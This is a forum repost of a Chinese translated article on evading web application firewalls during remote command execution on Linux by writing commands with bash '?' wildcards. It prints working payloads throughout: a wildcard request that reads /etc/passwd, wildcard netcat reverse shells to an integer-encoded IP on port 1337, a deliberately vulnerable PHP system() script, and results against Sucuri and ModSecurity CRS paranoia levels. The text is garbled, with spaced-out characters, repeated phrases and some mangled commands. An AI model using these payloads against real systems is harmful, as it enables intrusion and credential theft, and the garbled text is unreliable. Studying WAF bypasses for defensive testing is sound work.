搜索

[13638] 2019-01-11_Web应用程序防火墙（WAF）bypass技术讨论（一）

文档创建者：s7ckTeam
浏览次数：30
最后更新：2025-01-18
2019-01-11_Web应用程序防火墙（WAF）bypass技术讨论（一） W e b 应 用 程 序 防 火 墙 （ W A F ） b y p a s s 技 术 讨 论 （ 一 ） 生 如 夏 花   F r e e B u f   2 0 1 9 - 0 1 - 1 1 W e b 应 用 程 序 中 发 现 应 用 程 序 中 发 现 R C E 漏 洞 的 情 况 还 是 挺 常 见 的 ， 漏 洞 的 情 况 还 是 挺 常 见 的 ， 2 0 1 7   O W A S P   T o p   1 0 应 用 程 序 安 全 风 险 应 用 程 序 安 全 风 险 ” 也 将 也 将 “ 注 入 注 入 ” 置 于 置 于 第 一 位 置 ， 例 如 当 解 释 器 接 收 到 用 户 可 控 的 数 据 作 为 命 令 或 查 询 来 执 行 时 ， 很 有 可 能 会 导 致 注 入 风 险 ， 例 如 第 一 位 置 ， 例 如 当 解 释 器 接 收 到 用 户 可 控 的 数 据 作 为 命 令 或 查 询 来 执 行 时 ， 很 有 可 能 会 导 致 注 入 风 险 ， 例 如 S Q L ， ， N o S Q L ， ， O S 和 和 L D A P 注 入 。 注 入 。 攻 击 者 的 恶 意 数 据 可 以 欺 骗 解 释 器 在 没 有 授 权 的 情 况 下 执 行 非 预 期 的 命 令 或 访 问 敏 感 数 据 。 所 有 现 代 W e b 应 用 程 序 防 火 墙 都 能 够 拦 截 （ 甚 至 阻 止 ） R C E ， 但 是 当 发 生 在 L i n u x 系 统 时 ， 我 们 也 有 很 多 方 法 可 以 b y p a s s   W A F 的 规 则 集 。 使 用 到 的 方 法 就 有 “ 通 配 符 通 配 符 ” ， 所 以 接 下 来 会 讲 解 一 些 b a s h 与 通 配 符 的 事 情 。 通 配 符 的 一 些 知 识 通 配 符 的 一 些 知 识 各 种 命 令 行 程 序 会 使 用 b a s h 标 准 通 配 符 （ 也 称 为 通 配 模 式 ） 来 处 理 多 个 文 件 。 如 果 读 者 想 知 道 有 关 标 准 通 配 符 的 更 多 信 息 ， 可 通 过 键 入 参 考 手 册 页 m a n   7   g l o b 来 了 解 。 并 不 是 人 人 都 知 道 有 很 多 b a s h 语 法 能 够 只 使 用 问 号 “ ？ ” ， 正 斜 杠 “ / ” ， 数 字 和 字 母 来 执 行 系 统 命 令 ， 且 可 以 使 用 相 同 数 量 的 字 符 枚 举 文 件 并 获 取 其 内 容 。 我 举 几 个 例 子 ， 例 如 执 行 l s 命 令 ， 可 以 使 用 以 下 语 法 ： / ? ? ? / ? s 使 用 上 面 这 种 语 法 ， 你 想 执 行 啥 基 本 上 都 可 以 执 行 。 比 方 说 ， 你 攻 击 的 目 标 处 于 W A F 的 保 护 下 ， 但 是 这 个 W A F 有 一 个 规 则 ， 一 旦 G E T 参 数 的 值 内 或 P O S T 请 求 的 b o d y 里 包 含 / e t c / p a s s w d 或 / b i n / l s ， 所 有 的 请 求 都 会 被 阻 止 。 如 果 你 试 图 请 求 / ? c m d = c a t + / e t c / p a s s w d ， 那 么 它 会 被 目 标 W A F 阻 止 ， 你 的 I P 将 被 永 久 禁 止 访 问 并 被 标 记 。 如 果 目 标 W A F 没 有 足 够 的 规 则 集 来 阻 止 像 ？ 和 / 在 查 询 字 符 串 中 ， 那 么 就 能 使 用 通 配 符 来 进 行 绕 过 。 绕 过 的 p a y l o a d 如 下 所 示 ： / ? c m d = % 2 f ? ? ? % 2 f ? ? t % 2 0 % 2 f ? ? ? % 2 f p ? ? s ? ?
在 上 面 的 屏 幕 截 图 中 可 以 看 到 有 3 个 错 误 “ / b i n / c a t   * ： 是 一 个 目 录   ” 。 发 生 这 种 情 况 是 因 为 / ? ? ? / ? ? t 可 以 匹 配 到 到 / b i n / c a t 、 / d e v / n e t 或 者 / e t c / a p t 等 等 … … 问 号 通 配 符 仅 代 表 一 个 可 以 是 任 何 字 符 的 字 符 。 因 此 ， 如 果 知 道 文 件 名 的 一 部 分 而 不 是 一 个 字 母 ， 那 么 可 以 使 用 此 通 配 符 。 例 如 l s   * . ? ? ? ， 列 出 当 前 目 录 中 扩 展 名 为 3 个 字 符 的 所 有 文 件 ， 将 列 出 具 有 ： g i f ， . j p g ， . t x t 等 扩 展 名 的 文 件 。 使 用 此 通 配 符 ， 可 以 使 用 n e t c a t 来 执 行 反 弹 s h e l l 。 假 设 需 要 在 端 口 1 3 3 7 （ 通 常 n c   - e   / b i n / b a s h   1 2 7 . 0 . 0 . 1   1 3 3 7 ） 执 行 反 弹 s h e l l 到 1 2 7 . 0 . 0 . 1 ， 可 以 使 用 以 下 语 法 执 行 此 操 作 ： 以 整 数 形 式 （ 2 1 3 0 7 0 6 4 3 3 ） 转 换 I P 地 址 1 2 7 . 0 . 0 . 1 ， 可 以 避 免 在 H T T P 请 求 中 使 用 “ 点 ” 字 符 。 因 为 没 有 - e 参 数 ， 所 以 在 我 的 k a l i 里 需 要 使 用 n c . t r a d i t i o n a l 而 不 是 n c ， 以 便 / b i n / b a s h 在 连 接 后 执 行 ， p a y l o a d 如 下 ： 接 下 来 ， 对 比 一 下 以 上 的 命 令 ： 标 准 ： / b i n / n c   1 2 7 . 0 . 0 . 1   1 3 3 7 / ? ? ? / n ?   - e   / ? ? ? / b ? ? h   2 1 3 0 7 0 6 4 3 3   1 3 3 7 / ? ? ? / ? c . ? ? ? ? ? ? ? ? ? ? ?   - e   / ? ? ? / b ? ? h   2 1 3 0 7 0 6 4 3 3   1 3 3 7
b y p a s s ： / ? ? ? / n ?   2 1 3 0 7 0 6 4 3 3   1 3 3 7 用 到 的 字 符 ： /   ?   n   [ 0 - 9 ] 标 准 ： / b i n / c a t   / e t c / p a s s w d b y p a s s ： / ? ? ? / ? ? t   / ? ? ? / ? ? s s ? ? 用 到 的 字 符 ： /   ?   t   s 为 什 么 用 ? 而 不 是 呢 ？ 因 为 星 号 （ ） 被 广 泛 用 于 注 释 语 法 （ 类 似 /   嘿 ， 我 是 注 释   / ） ， 许 多 W A F 阻 止 它 以 避 免 S Q L 注 入 … 类 似 于 U N I O N + S E L E C T + 1 , 2 , 3 /   * 还 可 以 使 用 e c h o 来 枚 举 文 件 和 目 录 ， e c h o 命 令 可 以 使 用 通 配 符 枚 举 文 件 系 统 上 的 文 件 和 目 录 。 例 如 e c h o   / / s s * ： 这 可 以 在 R C E 上 使 用 ， 以 便 在 目 标 系 统 上 获 取 文 件 和 目 录 ， 例 如 ： 但 是 为 什 么 使 用 通 配 符 （ 特 别 是 问 号 ） 可 以 逃 避 W A F 规 则 集 ？ 让 我 先 从 S u c u r i   W A F 开 始 解 释 。 S u c u r i   W A F   b y p a s s
测 试 W A F 规 则 集 的 最 佳 方 法 是 什 么 ？ 创 建 世 界 上 最 易 受 攻 击 的 P H P 脚 本 并 尝 试 所 有 可 能 的 技 术 ！ 在 上 面 的 屏 幕 截 图 中 ， 左 上 方 的 窗 格 中 有 一 个 执 行 命 令 的 P H P 脚 本 。 右 侧 窗 格 是 最 有 趣 的 ， 因 为 它 显 示 相 同 的 请 求 ， 但 使 用 “ 问 号 ” 作 为 通 配 符 。 结 果 令 人 恐 惧 … … S u c u r i   W A F 接 受 了 请 求 ， 我 的 应 用 程 序 执 行 了 我 输 入 c 参 数 的 命 令 。 现 在 我 可 以 读 取 / e t c / p a s s w d 文 件 甚 至 更 多 … 我 可 以 阅 读 应 用 程 序 本 身 的 P H P 源 代 码 ， 我 可 以 使 用 n e t c a t （ 或 者 我 喜 欢 称 之 为 / ? ? ? / ? c ） 来 执 行 反 弹 s h e l l   ， 或 者 我 可 以 执 行 类 似 c u r l 或 w g e t 的 程 序 显 示 W e b 服 务 器 的 真 实 I P 地 址 ， 使 我 能 够 通 过 直 接 连 接 到 目 标 来 绕 过 W A F 。 我 不 知 道 为 啥 会 发 生 这 种 情 况 ， 我 以 为 我 在 S u c u r i   W A F 配 置 上 遗 漏 了 一 些 东 西 ， 但 似 乎 又 没 有 … … 我 已 经 在 S u c u r i 问 过 这 是 否 是 一 种 有 人 参 与 的 行 为 ， 以 及 他 们 是 否 配 置 了 默 认 的 “ 低 等 级 ” 以 避 免 误 报 ， 但 目 前 我 还 在 等 待 答 案 。 请 记 住 ， 我 正 在 使 用 一 个 不 代 表 真 实 场 景 的 愚 蠢 P H P 脚 本 进 行 此 测 试 。 恕 我 直 言 ， 你 不 应 该 根 据 它 阻 止 的 请 求 判 断 一 个 W A F 是 否 强 大 ， 而 且 S u c u r i 的 安 全 性 并 不 低 ， 因 为 W A F 也 无 法 完 全 保 护 一 个 故 意 让 它 易 受 攻 击 的 网 站 。 上 面 成 功 绕 过 了 w a f ， 现 在 来 测 试 一 下 M o d S e c u r i t y   O W A S P   C R S   3 . 0 。 相 关 等 级 配 置 如 下 ： 以 下 是 W A F 的 规 则 解 释 ： h t t p s : / / g i t h u b . c o m / S p i d e r L a b s / o w a s p - m o d s e c u r i t y - c r s / b l o b / e 4 e 0 4 9 7 b e 4 d 5 9 8 c c e 0 e 0 a 8 f e f 2 0 d 1 f 1 e 5 5 7 8 c 8 d 0 / r u l e s / R E Q U E S T - 9 2 0 - P R O T O C O L - E N F O R C E M E N T . c o n f 接 下 来 开 始 测 试 这 个 W A F ！ P a r a n o i a   L e v e l   0   ( P L 0 ) 等 级 0 表 示 禁 用 了 许 多 规 则 ， 因 此 我 们 的 p a y l o a d 可 以 毫 无 问 题 地 导 致 远 程 命 令 执 行 ， 这 是 绝 对 正 常 的 ， 不 要 惊 慌 。 < ? p h p             e c h o   ' o k :   ' ;             p r i n t _ r ( $ _ G E T [ ' c ' ] ) ;             s y s t e m ( $ _ G E T [ ' c ' ] ) ; #   - = [   T a r g e t s   a n d   A S C I I   R a n g e s   ] = - # #   9 2 0 2 7 0 :   P L 1 #   R E Q U E S T _ U R I ,   R E Q U E S T _ H E A D E R S ,   A R G S   a n d   A R G S _ N A M E S #   A S C I I :   1 - 2 5 5 #   E x a m p l e :   F u l l   A S C I I   r a n g e   w i t h o u t   n u l l   c h a r a c t e r # #   9 2 0 2 7 1 :   P L 2 #   R E Q U E S T _ U R I ,   R E Q U E S T _ H E A D E R S ,   A R G S   a n d   A R G S _ N A M E S #   A S C I I :   9 , 1 0 , 1 3 , 3 2 - 1 2 6 , 1 2 8 - 2 5 5 #   E x a m p l e :   F u l l   v i s i b l e   A S C I I   r a n g e ,   t a b ,   n e w l i n e # #   9 2 0 2 7 2 :   P L 3 #   R E Q U E S T _ U R I ,   R E Q U E S T _ H E A D E R S ,   A R G S ,   A R G S _ N A M E S ,   R E Q U E S T _ B O D Y #   A S C I I :   3 2 - 3 6 , 3 8 - 1 2 6 #   E x a m p l e :   V i s i b l e   l o w e r   A S C I I   r a n g e   w i t h o u t   p e r c e n t   s y m b o l # #   9 2 0 2 7 3 :   P L 4 #   A R G S ,   A R G S _ N A M E S   a n d   R E Q U E S T _ B O D Y #   A S C I I :   3 8 , 4 4 - 4 6 , 4 8 - 5 8 , 6 1 , 6 5 - 9 0 , 9 5 , 9 7 - 1 2 2 #   E x a m p l e :   A - Z   a - z   0 - 9   =   -   _   .   ,   :   & # #   9 2 0 2 7 4 :   P L 4 #   R E Q U E S T _ H E A D E R S   w i t h o u t   U s e r - A g e n t ,   R e f e r e r ,   C o o k i e #   A S C I I :   3 2 , 3 4 , 3 8 , 4 2 - 5 9 , 6 1 , 6 5 - 9 0 , 9 5 , 9 7 - 1 2 2 #   E x a m p l e :   A - Z   a - z   0 - 9   =   -   _   .   ,   :   &   "   *   +   /   S P A C E S e c A c t i o n   " i d : 9 9 9 , p h a s e : 1 , n o l o g , p a s s , t : n o n e , s e t v a r : t x . p a r a n o i a _ l e v e l = 0 "
M o d S e c u r i t y 中 的 等 级 1 意 味 着 规 则 更 严 格 ， 虽 然 消 除 了 误 报 ， 但 它 也 过 于 宽 松 。 可 以 在 n e t n e a 网 站 上 找 到 按 等 级 分 组 的 规 则 列 表 ： h t t p s : / / w w w . n e t n e a . c o m / c m s / c o r e - r u l e - s e t - i n v e n t o r y / P a r a n o i a   L e v e l   1   a n d   2   ( P L 1 ,   P L 2 ) 我 已 将 1 级 和 2 级 分 组 ， 因 为 它 们 的 差 异 （ 如 上 图 所 示 ） 不 会 影 响 我 们 的 目 标 ， 所 有 行 为 都 与 下 面 描 述 的 相 同 。 使 用 P L 1 和 P L 2   M o d S e c u r i t y 显 然 阻 止 了 我 对 “ O S   F i l e   A c c e s s   A t t e m p t ” 的 请 求 （ 9 3 0 1 2 0 ） 。 但 是 ， 如 果 我 将 问 号 用 作 通 配 符 怎 么 办 ？ 该 请 求 却 被 我 的 W A F 接 受 了 。 发 生 这 种 情 况 是 因 为 “ 问 号 ” ， “ 正 斜 杠 ” 和 “ 空 格 ” 都 在 规 则 9 2 0 2 7 1 和 9 2 0 2 7 2 的 字 符 范 围 内 。 此 外 ， 使 用 “ 问 号 ” 而 不 是 命 令 语 法 使 我 能 够 b y p a s s   “ O S   F i l e   A c c e s s   A t t e m p t ” ， 例 如 我 们 的 / e t c / p a s s w d 。 P a r a n o i a   L e v e l   3   ( P L 3 ) 这 个 等 级 会 阻 止 包 含 “ ？ ” 等 字 符 超 过 n 次 的 请 求 ， 所 以 事 实 上 ， 我 的 请 求 已 被 标 记 为 “ M e t a - C h a r a c t e r   A n o m a l y D e t e c t i o n   A l e r t   —   R e p e t i t i v e   N o n - W o r d   C h a r a c t e r s ” 。 M o d S e c u r i t y 还 是 挺 强 的 ， 但 是 很 不 幸 ， 我 写 的 w e b 应 用 很 脆 弱 ， 我 可 以 使 用 较 少 的 问 号 并 使 用 以 下 语 法 读 取 p a s s w d 文 件 。 S e c A c t i o n   " i d : 9 9 9 , p h a s e : 1 , n o l o g , p a s s , t : n o n e , s e t v a r : t x . p a r a n o i a _ l e v e l = 1 "
可 以 看 到 只 使 用 了 3 个 问 号 就 可 以 绕 过 W A F 并 读 取 文 件 了 ， 其 实 不 能 说 等 级 3 就 不 行 ， 这 里 使 用 的 是 测 试 环 境 ， 实 际 真 实 场 景 并 不 一 定 能 绕 过 。 那 么 能 绕 过 等 级 4 吗 ？ P a r a n o i a   L e v e l   4   ( P L 4 ) 经 过 我 的 测 试 发 现 基 本 上 没 有 办 法 绕 过 ， 范 围 之 外 的 所 有 字 符 a - z   A - Z   0 – 9 都 被 阻 止 了 ！ 没 办 法 … … 当 你 需 要 执 行 一 个 命 令 来 读 取 文 件 时 ， 有 9 0 ％ 的 概 率 会 需 要 一 个 “ 空 格 ” 字 符 或 “ 正 斜 杠 ” 。 最 后 的 想 法 最 后 的 想 法 回 归 静 态 H T M L 页 面 … … 这 是 提 高 W e b 应 用 程 序 安 全 性 的 最 快 方 法 ！ 很 难 说 配 置 最 好 的 W A F 或 者 只 使 用 最 好 的 等 级 规 则 有 没 有 用 ？ 但 是 我 们 能 了 解 到 的 是 不 应 该 完 全 信 任 部 署 在 W e b 应 用 程 序 上 均 匀 分 布 的 W A F 规 则 集 。 事 实 上 ， 我 们 应 该 根 据 应 用 程 序 功 能 配 置 我 们 的 W A F 规 则 。 无 论 如 何 ， 当 你 在 M o d S e c u r i t y 上 写 一 个 新 的 S e c R u l e 时 ， 请 记 住 ， 可 能 有 很 多 方 法 可 以 b y p a s s 你 的 过 滤 器 / 正 则 表 达 式 。 * 来 源 ： m e d i u m ; 本 文 作 者 ： 生 如 夏 花 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文 c = / ? i n / c a t + / e t ? / p a s s w ?

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理